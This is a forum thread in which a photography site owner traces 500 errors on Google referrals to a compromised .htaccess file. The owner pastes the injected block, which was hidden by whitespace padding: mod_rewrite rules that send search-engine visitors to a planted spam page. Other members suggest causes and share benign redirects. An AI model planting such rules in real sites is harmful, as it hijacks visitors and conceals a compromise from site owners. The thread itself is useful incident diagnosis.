# Google link returns 500 Internal Server Error



## Casalen (Jul 31, 2003)

As the subject implies, my domain is getting an error when I click the link to Google, which is kind of really important. It might not be the same with everyone, though, since malware made my browser view a page wrong in the past. So, visit: the search page. Click the Eureka one, kgpphoto.com. If you don't see an error, tell me, that's good. If you do, go to http://www.kgpphoto.com and see if the site shows up.

Assuming I'm not the only one seeing this, the link on Google search doesn't load the site. Going directly to the domain does. Maybe the server doesn't like something about that referrer. Any suggestions on what, if anything, I should do would be appreciated.


----------



## TechGuy (Feb 12, 1999)

I get the same results as you report. I suspect you're right about something going on with your server checking the referral. Is the page a normal .html page (not ASP, PHP, CGI, etc)? Something interesting it going on there, whether it's from your httpd.conf or .htaccess, or the page itself... I'm not sure which.


----------



## MMJ (Oct 15, 2006)

Woah, thats weird.

What code do you have in the index.php file?


----------



## GentsBabe (Jan 31, 2006)

I tried it from the Google page and got the 500 Error, but when I took the "/" off the end of the URL, I got your page.

The pictures are beautiful!! Did you take them yourself? I like Print 10 the best... I'm a sucker for sunsets, hehe


----------



## MMJ (Oct 15, 2006)

GentsBabe said:


> I tried it from the Google page and got the 500 Error, but when I took the "/" off the end of the URL, I got your page.


Thats probably because it didn't send the referrer that time.


----------



## madd74 (Nov 9, 2003)

Hmm... I actually get it either way. I took out the www and got through okay. I have encountered this problem before, and I bet it is .htaccess issue. I had a problem a while back when I was messing around with my host, and did something that caused www.madd74.com and madd74.com to have issues with the first... so my guess to techguy's guess is .htaccess.

What does your server log say?


----------



## Casalen (Jul 31, 2003)

Thanks for the suggestions. I opened .htaccess and saw it as blank. I noticed that it was also 8kb, though, and since I used notepad++ I could see the lines were filled with blanks. This led me to believe I wasn't meant to find what was in it, which seems correct. I found this:

```
# a0b4df006e02184c60dbf503e71c87ad                                                                                                                                                                                                        
RewriteEngine On                                                                                                                                                                                                        
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\. [NC]                                                                                                                                                                                                        
RewriteCond %{HTTP_REFERER}  [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=                                                                                                                                                                                                        
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)                                                                                                                                                                                                        
RewriteCond %{TIME_SEC} <54                                                                                                                                                                                                        
RewriteRule ^.*$ /forum/language/lang_english/uqiri/t.htm [L]                                                                                                                                                                                                        
# a995d2cc661fa72452472e9554b5520c
```
I suggest taking a look at www.kgpnet.net/forum/language/lang_english/uqiri/t.htm , which is what the second to last line is referring to. It's a spammed page that I've seen before on our site. I can delete this, but there's a more important concern- how did it get there in the first place? You can view the sites, www.kgpnet.net and www.kgpphoto.com to see what we have on them. The only large script running is phpbb2, the others are very, very small and shouldn't be usable for any sort of file access. Any ideas on what to do next?


----------



## madd74 (Nov 9, 2003)

did you originally write your .htaccess file or did someone/something else do it? I had phpbb2 one time, and it got hacked some how. Make sure you have the latest version as older versions have security leaks that could otherwise mess things up.

I only started to do research on .htaccess work, so unfortunately my knowledge on the subject is like my spelling, limited at best 

I might be reading wrong, but you can end up blocking things with the RewriteCond %{HTTP_REFERER} (as I picked up from http://drupal.org/node/48052) so I would think that could be the problem.

Someone with more .htaccess back me up here


----------



## Casalen (Jul 31, 2003)

I've never touched the file before now, it was something else. Yes, from what I read RewriteCond is used mostly for blocking referrers- exactly the problem I had. I'm not sure what the 'rule' one is used for, but once a certain page on my site redirected to that page for a while. Undoubtedly related. Nor do I know why a 32 character code that looks like a hash of something would be at the beginning and end, some sort of identifier I'd assume.


----------



## madd74 (Nov 9, 2003)

yeah, I noticed that, and imagine it has something to do with whatever made the file. I use one myself, but as a meta file, for google webmaster tool thingies.

I did go to that one you spoke of, and yeah, it looks like an ad. I would suggest saving a backup of the .htaccess file, and then deleting that line for sure.

My file looks like:


```
Redirect /360 http://madd74.com/bb/
Redirect /download http://madd74.com/bb/viewforum.php?f=20
Redirect /downloads http://madd74.com/bb/viewforum.php?f=20
Redirect /ffxi http://madd74.com/bb/viewforum.php?f=46
Redirect /jarin/update http://madd74.com/bb/viewtopic.php?f=22&t=965
Redirect /m http://madd74.com/bb/posting.php?mode=post&f=23#tabs
Redirect /ps3 http://madd74.com/bb/
Redirect /psp http://madd74.com/bb/
Redirect /tb http://madd74.forumtoolbar.com/
Redirect /wii http://madd74.com/bb/
Redirect /ww http://madd74.com/bb/viewtopic.php?f=21&t=1113
```
so everything there are simple redirects that get me what I want (and I put them in there myself). Worst case scenario, instead of making a backup, change the name of the file so it is not access, then go back and see if you get the same problem with your site. If you are hosting with someone, ask on their form if they have something that adds information to the .htaccess file by default, and if it is required for anything on their site.


----------

